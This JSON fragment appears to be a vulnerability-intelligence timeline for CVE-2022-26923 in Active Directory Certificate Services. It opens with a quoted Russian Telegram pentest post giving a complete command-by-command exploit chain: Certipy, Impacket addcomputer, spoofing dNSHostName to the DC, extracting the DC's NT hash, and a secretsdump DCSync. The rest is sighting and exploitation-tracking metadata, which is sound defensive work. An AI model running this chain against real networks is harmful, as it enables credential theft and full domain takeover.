\u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430 Machine;\n4. \u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u044b \u0443\u0447\u0451\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430 (\u0431\u0443\u0434\u0435\u0442 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043f\u043e\u0441\u043b\u0435 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430 \u0432 \u0434\u043e\u043c\u0435\u043d, \u0442\u0430\u043a \u043a\u0430\u043a \u043c\u044b \u0431\u0443\u0434\u0435\u043c \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0435\u043c \u043e\u0431\u044a\u0435\u043a\u0442\u0430).\n\n\ud83d\udc0d \u0414\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c \u0443\u0442\u0438\u043b\u0438\u0442\u0443 Certipy, \u043a\u0440\u0430\u0442\u043a\u0430\u044f \u0441\u043f\u0440\u0430\u0432\u043a\u0430 \u043f\u043e \u043d\u0435\u0439 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0430 \u043d\u0438\u0436\u0435:\n# \u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430\npip install certipy-ad\n\n# \u0417\u0430\u043f\u0440\u043e\u0441 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430\n# \u0434\u043b\u044f certipy-ad v3.0.0:\ncertipy req 'domain.local/username:password@dc.domain.local' -ca 'CA NAME' -template TemplateName\n# \u0434\u043b\u044f certipy-ad v4.8.2:\ncertipy req -u username@domain.local -p password -ca 'CA NAME' -template User -upn thm@domain.local -dc-ip 10.10.10.10\n\n# \u0410\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u044f \u0441 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u043c \u0434\u043b\u044f \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f NTLM-\u0445\u044d\u0448\u0430:\ncertipy auth -pfx username.pfx -dc-ip 10.10.10.10\n\u041d\u0430\u0447\u043d\u0435\u043c \u0430\u0442\u0430\u043a\u0443 \u0441 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430 \u0432 \u0434\u043e\u043c\u0435\u043d \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 Impacket-Addcomputer\naddcomputer.py 'domain.local/username:password' -method LDAPS -computer-name 'TESTPC' -computer-pass 'P@ssw0rd'\n\u0417\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u043c \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442 \u0434\u043b\u044f \u0443\u0447\u0451\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430 (\u0448\u0430\u0431\u043b\u043e\u043d Machine) \u0438 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0443\u0435\u043c\u0441\u044f \u0441 \u043d\u0438\u043c:\ncertipy req 'domain.local/TESTPC$:P@ssw0rd@dc.domain.local' -ca 'CA NAME' -template Machine\n\ncertipy auth -pfx testpc.pfx\n\u0414\u0430\u043b\u0435\u0435 \u0437\u0430\u0445\u043e\u0434\u0438\u043c \u043d\u0430 \u043b\u044e\u0431\u043e\u0439 \u0445\u043e\u0441\u0442 \u0434\u043e\u043c\u0435\u043d\u0430 \u0438 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u043c \u043c\u0435\u043d\u044f\u0442\u044c SPN \u0443 \u0437\u0430\u043f\u0438\u0441\u0438 \u043d\u0430\u0448\u0435\u0433\u043e \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430:\nGet-ADComputer TESTPC -properties dnshostname,serviceprincipalname\nSet-ADComputer TESTPC -DnsHostName DC.domain.local # \u0432\u0435\u0440\u043d\u0451\u0442 \u043e\u0448\u0438\u0431\u043a\u0443 \u0438\u0437-\u0437\u0430 \u0434\u0443\u0431\u043b\u0438\u0440\u0443\u044e\u0449\u0435\u0439\u0441\u044f SPN\nSet-ADComputer TESTPC -ServicePrincipalName @{} # \u043e\u0431\u043d\u0443\u043b\u044f\u0435\u043c SPN\nSet-ADComputer TESTPC -DnsHostName DC.domain.local\n\u0412\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u043c\u0441\u044f \u043d\u0430 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0445\u043e\u0441\u0442 \u0438 \u0437\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u043c \u043d\u043e\u0432\u044b\u0439 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442:\ncertipy req 'domain.local/TESTPC$:P@ssw0rd@dc.domain.local' -ca 'CA NAME' -template Machine\n\u0410\u0432\u0442\u043e\u0440\u0438\u0437\u0443\u0435\u043c\u0441\u044f \u0441 \u043f\u043e\u043b\u0447\u0435\u043d\u043d\u044b\u043c \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u043c \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c NTLM \u0445\u044d\u0448 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0430 \u0434\u043e\u043c\u0435\u043d\u0430:\ncertipy auth -pfx dc.pfx\n...\n[*] Got NT hash for 'dc$@domain.local': 14fc9b5814def64289bb694f6659c733\n\u0414\u0430\u043b\u0435\u0435 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u043c \u0430\u0442\u0430\u043a\u0443 DCSync \u043b\u044e\u0431\u044b\u043c \u0443\u0434\u043e\u0431\u043d\u044b\u043c \u0434\u043b\u044f \u043d\u0430\u0441 \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u043c \u0438 \u0437\u0430\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0435\u043c \u0434\u043e\u043c\u0435\u043d:\nsecretsdump.py 'domain.local/dc$@domain.local' -hashes aad3b435b51404eeaad3b435b51404ee:14fc9b5814def64289bb694f6659c733 -outputfile dcsync.txt\n\u0412\u0435\u043a\u0442\u043e\u0440 \u0431\u0443\u0434\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u043a CVE-2022-26923 \u0441\u0440\u0435\u0434\u0435 Active Directory, \u043d\u043e \u0435\u0441\u043b\u0438 \u0432\u044b \u0432 \u043d\u0435\u0439 \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c, \u0442\u043e \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0431\u0443\u0434\u0435\u0442 \u0442\u0430\u043a \u0436\u0435 \u043f\u0440\u043e\u0441\u0442\u043e, \u043a\u0430\u043a, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u0441 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0435\u0439 ZeroLogon!\ud83d\udd3a\n#\u043f\u0435\u043d\u0442\u0435\u0441\u0442 #AD", "url": "https://t.me/S_E_Reborn/4401"}, {"timestamp": "2024-08-03T05:18:38.140Z", "date_only": false, "value": "2024-08-03T05:18:38.140Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CVE", "record": "CVE-2022-26923", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2024-08-17T10:33:58Z", "date_only": false, "value": "2024-08-17T10:33:58.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/HackingInsights/10277", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "c9c003ea-dbab-466f-91d1-0c254c2847c8", "content": "\u200aCybercriminals Evolve Social Engineering Tactics, Exploit CVE-2022-26923 in Sophisticated Campaign\n\nhttps://securityonline.info/cybercriminals-evolve-social-engineering-tactics-exploit-cve-2022-26923-in-sophisticated-campaign/", "url": "https://t.me/HackingInsights/10277"}, {"timestamp": "2024-12-24T20:32:44.972Z", "date_only": false, "value": "2024-12-24T20:32:44.972401Z", "kind": "sighting", "label": "Seen", "source": "https://feedsin.space/feed/CISAKevBot/items/2971682", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "f18c025d-6b6d-4343-ae80-a9bf032c248d", "url": "https://feedsin.space/feed/CISAKevBot/items/2971682"}, {"timestamp": "2025-01-02T18:58:25.436Z", "date_only": false, "value": "2025-01-02T18:58:25.436Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / microsoft", "record": "CVE-2022-26923", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2025-02-04T19:02:09.330Z", "date_only": false, "value": "2025-02-04T19:02:09.330320Z", "kind": "other", "label": "Recorded", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2022-26923", "field": "containers.adp.1.metrics.0.other.content.timestamp"}, {"timestamp": "2025-02-04T19:02:09.330Z", "date_only": false, "value": "2025-02-04T19:02:09.330320Z", "kind": "other", "label": "Recorded", "source": "fkie_nvd \u00b7 FKIE_CVE-2022-26923", "record": "FKIE_CVE-2022-26923", "field": "metrics.ssvcV203.0.ssvcData.timestamp"}, {"timestamp": "2025-02-06T03:13:45Z", "date_only": false, "value": "2025-02-06T03:13:45.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "1ee9613d-9f91-4254-9300-4164f1e68c44"}, {"timestamp": "2025-02-23T02:10:36Z", "date_only": false, "value": "2025-02-23T02:10:36.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "4a364e8e-0e02-4a8f-980e-1873b576fec2"}, {"timestamp": "2025-02-23T04:10:45Z", "date_only": false, "value": "2025-02-23T04:10:45.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "847c4abd-6029-495a-907a-71859923e9df"}, {"timestamp": "2025-03-04T16:00:08Z", "date_only": false, "value": "2025-03-04T16:00:08.000000Z", "kind": "sighting", "label": "Exploited", "source": "Telegram/PTHKQ06bP3q6apx3Krv4L2iJCBBovWGsPYlkQuufLnbVvmI", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "3a2f9cc0-7815-4754-920e-8ebc360670ff"}, {"timestamp": "2025-04-02T02:06:15.074Z", "date_only": false, "value": "2025-04-02T02:06:15.074049Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/hackingne.ws/post/3llscglbqjk2z", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "0e877ba7-6e01-4be4-be1b-c59a9d227b8d", "url": "https://bsky.app/profile/hackingne.ws/post/3llscglbqjk2z"}, {"timestamp": "2025-04-03T02:13:59.571Z", "date_only": false, "value": "2025-04-03T02:13:59.571437Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3llutdd7rme2r", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "04b0e18d-9100-445f-afb5-8caf14d2cd4c", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3llutdd7rme2r"}, {"timestamp": "2025-04-03T20:03:52.291Z", "date_only": false, "value": "2025-04-03T20:03:52.291149Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3llwp4g6y4e2x", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "b3f790a6-a7bf-4ed0-b1a1-afe9c7157d4e", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3llwp4g6y4e2x"}, {"timestamp": "2025-04-03T20:10:17.356Z", "date_only": false, "value": "2025-04-03T20:10:17.356019Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3llwphvkqtn2r", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "f3cf0072-e413-4ae8-82e9-5223c8b44a53", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3llwphvkqtn2r"}, {"timestamp": "2025-04-10T09:45:37.882Z", "date_only": false, "value": "2025-04-10T09:45:37.882296Z", "kind": "sighting", "label": "Seen", "source": "https://poliverso.org/objects/0477a01e-218112ab-f208e40627d05bf3", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "f5255f80-060e-4d2e-967e-b4bf9a935f31", "url": "https://poliverso.org/objects/0477a01e-218112ab-f208e40627d05bf3"}, {"timestamp": "2025-10-21T23:15:40.068Z", "date_only": false, "value": "2025-10-21T23:15:40.068Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "CVE-2022-26923", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2025-10-21T23:15:40.068Z", "date_only": false, "value": "2025-10-21T23:15:40.068Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2022-26923", "field": "containers.adp.1.providerMetadata.dateUpdated"}, {"timestamp": "2025-10-22T00:32:32Z", "date_only": false, "value": "2025-10-22T00:32:32Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-J9XF-76VV-4WCG", "record": "GHSA-J9XF-76VV-4WCG", "field": "modified"}, {"timestamp": "2026-01-06T16:26:19.490Z", "date_only": false, "value": "2026-01-06T16:26:19.490Z", "kind": "other", "label": "Document generated", "source": "csaf_microsoft \u00b7 MSRC_CVE-2022-26923", "record": "MSRC_CVE-2022-26923", "field": "document.tracking.generator.date"}, {"timestamp": "2026-02-02T12:27:17.352Z", "date_only": false, "value": "2026-02-02T12:27:17.352054Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/b7df40e3-bcb6-4eef-8ba5-b10ddbe05789", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "fdb2f553-149c-4c77-b287-ab9e1085ba1c", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/b7df40e3-bcb6-4eef-8ba5-b10ddbe05789"}, {"timestamp": "2026-02-02T12:27:17.352Z", "date_only": false, "value": "2026-02-02T12:27:17.352054Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/b7df40e3-bcb6-4eef-8ba5-b10ddbe05789", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "032d3ed0-b006-490a-9555-095fcac975ed", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/b7df40e3-bcb6-4eef-8ba5-b10ddbe05789"}, {"timestamp": "2026-02-02T13:24:01Z", "date_only": false, "value": "2026-02-02T13:24:01+00:00", "kind": "kev", "label": "Recorded", "source": "cisa-kev", "record": "CVE-2022-26923", "field": "timestamps.recorded_at", "uuid": "47b9d953-248d-4822-8b10-c67a7e4421d6", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-05-29T15:00:07Z", "date_only": false, "value": "2026-05-29T15:00:07.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/p1UsK7gFrFQLGfOF3xir9AjmdpIuUDbHtmKFPqLrJn2rk0E", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "fef9adb1-59b4-40c9-bbdd-d04d17691485"}, {"timestamp": "2026-06-17T04:36:07.943Z", "date_only": false, "value": "2026-06-17T04:36:07.943", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2022-26923", "record": "FKIE_CVE-2022-26923", "field": "lastModified"}, {"timestamp": "2026-06-19T12:47:06.114Z", "date_only": false, "value": "2026-06-19T12:47:06.114955Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/70e5d3e7-48a5-4532-ab22-83222f249493", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "b5f302c6-b08e-4e46-805e-7978b73a3f2f", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/70e5d3e7-48a5-4532-ab22-83222f249493"}, {"timestamp": "2026-06-23T11:11:17Z", "date_only": false, "value": "2026-06-23T11:11:17+00:00", "kind": "kev", "label": "Recorded", "source": "kevintel", "record": "CVE-2022-26923", "field": "timestamps.recorded_at", "uuid": "7f03a38a-7649-43ed-8666-dba3243a1f30", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-06-23T11:13:58.958Z", "date_only": false, "value": "2026-06-23T11:13:58.958376Z", "kind": "sighting", "label": "Exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/7f03a38a-7649-43ed-8666-dba3243a1f30", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "56947378-4ff5-4e5f-abcb-ee61d410cfb6", "url": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/7f03a38a-7649-43ed-8666-dba3243a1f30"}, {"timestamp": "2026-06-23T14:05:31.034Z", "date_only": false, "value": "2026-06-23T14:05:31.034456Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/b83c0e3c-81fa-4e61-a716-6dbce829934e", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "9ccfbbca-13d9-45b9-971b-65c1e73f2356", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/b83c0e3c-81fa-4e61-a716-6dbce829934e"}, {"timestamp": "2026-07-17T11:00:09.637Z", "date_only": false, "value": "2026-07-17T11:00:09.637732Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/zhatez/214", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "2568e325-bbb6-4a9a-bf36-afabaa77158c", "url": "https://t.me/zhatez/214"}, {"timestamp": "2026-07-18T00:00:27.082Z", "date_only": false, "value": "2026-07-18T00:00:27.082230Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/zhatez/214", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "40566ae9-6cbb-4582-80c3-473ea511a4bb", "url": "https://t.me/zhatez/214"}, {"timestamp": "2026-07-26T02:02:42.628Z", "date_only": false, "value": "2026-07-26T02:02:42.628627Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/EchelonEyes/593", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "e2fe05d1-cf63-4cb6-a0e9-0ba6df3757dc", "url": "https://t.me/EchelonEyes/593"}, {"timestamp": "2026-07-26T07:01:48.413Z", "date_only": false, "value": "2026-07-26T07:01:48.413267Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/zhatez/927", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "4ab07498-1b6a-42ca-9f34-e86fcd8d090b", "url": "https://t.me/zhatez/927"}, {"timestamp": "2026-07-27T00:01:19.039Z", "date_only": false, "value": "2026-07-27T00:01:19.039681Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/EchelonEyes/593", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "37b71de4-258b-40c3-90f1-ff57b60866d9", "url": "https://t.me/EchelonEyes/593"}, {"timestamp": "2026-07-27T00:01:32.902Z", "date_only": false, "value": "2026-07-27T00:01:32.902452Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/zhatez/927", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "bf42663b-1175-43ea-bf67-9c0e65b7240c", "url": "https://t.me/zhatez/927"}, {"timestamp": "2026-07-28T10:00:05.654Z", "date_only": false, "value": "2026-07-28T10:00:05.654282Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/EchelonEyes/593", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "0cd2a220-269f-4097-ab26-8aab878f1937", "url": "https://t.me/EchelonEyes/593"}, {"timestamp": "2026-07-29T00:00:09.319Z", "date_only": false, "value": "2026-07-29T00:00:09.319651Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/zhatez/927", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "605f0acc-e1d7-4908-83ed-d342031d5c43", "url": "https://t.me/zhatez/927"}, {"timestamp": "2026-07-29T00:00:40.128Z", "date_only": false, "value": "2026-07-29T00:00:40.128174Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/EchelonEyes/593", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "a7677572-763e-4f64-b334-a1c2485a9eb8", "url": "https://t.me/EchelonEyes/593"}, {"timestamp": "2026-07-29T12:01:02.654Z", "date_only": false, "value": "2026-07-29T12:01:02.654864Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/CVEhub/1459", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "b9df3b10-87eb-42d5-ab91-ad0f3e465877", "url": "https://t.me/CVEhub/1459"}, {"timestamp": "2026-07-30T00:01:43.558Z", "date_only": false, "value": "2026-07-30T00:01:43.558258Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/CVEhub/1459", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "d75b2236-e313-4acc-8566-da5c69991c63", "url": "https://t.me/CVEhub/1459"}, {"timestamp": "2026-08-01T05:00:04.872Z", "date_only": false, "value": "2026-08-01T05:00:04.872326Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CVEhub/1459", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "062705c9-d95e-4df5-b85a-478cc1b23202", "url": "https://t.me/CVEhub/1459"}, {"timestamp": "2026-08-02T00:01:15.223Z", "date_only": false, "value": "2026-08-02T00:01:15.223715Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CVEhub/1459", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "1c5faa59-f0b2-44f5-80ad-ee73d4433df8", "url": "https://t.me/CVEhub/1459"}, {"timestamp": "2026-08-27T12:00:05.413Z", "date_only": false, "value": "2026-08-27T12:00:05.413498Z", "kind": "sighting", "label": "Seen", "source": "Telegram/AdllQbcuiJ6ibIVVpcDfORf6Hf8QOv6lHxvkWRicfYVDSCg", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "3d4c25e4-79b3-495d-a8a9-4b81d416482d"}, {"timestamp": "2026-08-28T00:00:45.654Z", "date_only": false, "value": "2026-08-28T00:00:45.654740Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/AdllQbcuiJ6ibIVVpcDfORf6Hf8QOv6lHxvkWRicfYVDSCg", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "bd963e70-4d3a-4f6e-b425-e7ac6c879ee8"}, {"timestamp": "2026-09-01T17:00:29.474Z", "date_only": false, "value": "2026-09-01T17:00:29.474325Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cissp/5810", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "bb4c4ce5-f703-4687-833b-b12d5b31015a", "url": "https://t.me/cissp/5810"}, {"timestamp": "2026-09-01T20:01:26.140Z", "date_only": false, "value": "2026-09-01T20:01:26.140544Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/hacking_Attack/65857", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "34db2ac3-668f-4aa4-91a1-f50826a31ef6", "url": "https://t.me/hacking_Attack/65857"}, {"timestamp": "2026-09-01T20:01:26.319Z", "date_only": false, "value": "2026-09-01T20:01:26.319463Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/hacking_Attack/65693", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "30f800d9-bbc4-41f2-b5f3-a4a36d8f78a7", "url": "https://t.me/hacking_Attack/65693"}, {"timestamp": "2026-09-01T20:01:37.283Z", "date_only": false, "value": "2026-09-01T20:01:37.283727Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/hacking_Attack/55866", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "cdac5cb6-371b-440b-830d-833c925113d4", "url": "https://t.me/hacking_Attack/55866"}, {"timestamp": "2026-09-05T11:00:03.533Z", "date_only": false, "value": "2026-09-05T11:00:03.533304Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/65857", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "696aac70-ccb1-4205-b6c7-bcedef2d9716", "url": "https://t.me/hacking_Attack/65857"}, {"timestamp": "2026-09-05T12:00:05.996Z", "date_only": false, "value": "2026-09-05T12:00:05.996510Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/65693", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "8d2ab6bc-7483-40e7-bd3b-53739966da57", "url": "https://t.me/hacking_Attack/65693"}, {"timestamp": "2026-09-05T17:00:04.558Z", "date_only": false, "value": "2026-09-05T17:00:04.558700Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/55866", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "501bdc33-4094-4165-91b6-9f81ed25191c", "url": "https://t.me/hacking_Attack/55866"}, {"timestamp": "2026-09-10T09:00:07.138Z", "date_only": false, "value": "2026-09-10T09:00:07.138703Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/cissp/5810", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "231f9e36-d981-4e3c-b78d-7a1f127d829e", "url": "https://t.me/cissp/5810"}, {"timestamp": "2026-09-14T03:00:08.862Z", "date_only": false, "value": "2026-09-14T03:00:08.862142Z", "kind": "sighting", "label": "Seen", "source": "Telegram/-crZ7c2mXyDAnAi6cUoO6ZGLIobDD_pIiFk-5o6QD17WEzY", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "33cb7f2a-2817-4e90-8793-e31f328e0813"}, {"timestamp": "2026-09-15T00:00:25.208Z", "date_only": false, "value": "2026-09-15T00:00:25.208075Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/-crZ7c2mXyDAnAi6cUoO6ZGLIobDD_pIiFk-5o6QD17WEzY", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "ab0f88d5-e258-4440-94df-79c7c4d59f8c"}]}